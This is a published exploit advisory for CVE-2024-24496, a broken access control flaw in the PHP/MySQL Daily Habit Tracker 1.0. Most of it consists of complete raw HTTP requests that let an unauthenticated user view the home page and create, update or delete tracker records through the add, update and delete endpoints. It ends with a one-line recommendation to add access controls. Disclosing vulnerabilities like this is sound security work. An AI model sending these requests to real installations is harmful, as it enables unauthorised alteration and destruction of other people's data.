# Exploit Title: Daily Habit Tracker 1.0 - Broken Access Control # Date: 2 Feb 2024 # Exploit Author: Yevhenii Butenko # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html # Version: 1.0 # Tested on: Debian # CVE : CVE-2024-24496 ### Broken Access Control: > Broken Access Control is a security vulnerability arising when a web application inadequately restricts user access to specific resources and functions. It involves ensuring users are authorized only for the resources and functionalities intended for them. ### Affected Components: > home.php, add-tracker.php, delete-tracker.php, update-tracker.php ### Description: > Broken access control enables unauthenticated attackers to access the home page and to create, update, or delete trackers without providing credentials. ## Proof of Concept: ### Unauthenticated Access to Home page > To bypass authentication, navigate to 'http://yourwebsitehere.com/home.php'. The application does not verify whether the user is authenticated or authorized to access this page. ### Create Tracker as Unauthenticated User To create a tracker, use the following request: ``` POST /habit-tracker/endpoint/add-tracker.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 108 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/habit-tracker/home.php Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 date=1443-01-02&day=Monday&exercise=Yes&pray=Yes&read_book=Yes&vitamins=Yes&laundry=Yes&alcohol=Yes&meat=Yes ``` ### Update Tracker as Unauthenticated User To update a tracker, use the following request: ``` POST /habit-tracker/endpoint/update-tracker.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 121 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/habit-tracker/home.php Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 tbl_tracker_id=5&date=1443-01-02&day=Monday&exercise=No&pray=Yes&read_book=No&vitamins=Yes&laundry=No&alcohol=No&meat=Yes ``` ### Delete Tracker as Unauthenticated User: To delete a tracker, use the following request: ``` GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Referer: http://localhost/habit-tracker/home.php Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 ``` ## Recommendations When using this tracking system, it is essential to update the application code to ensure that proper access controls are in place. |
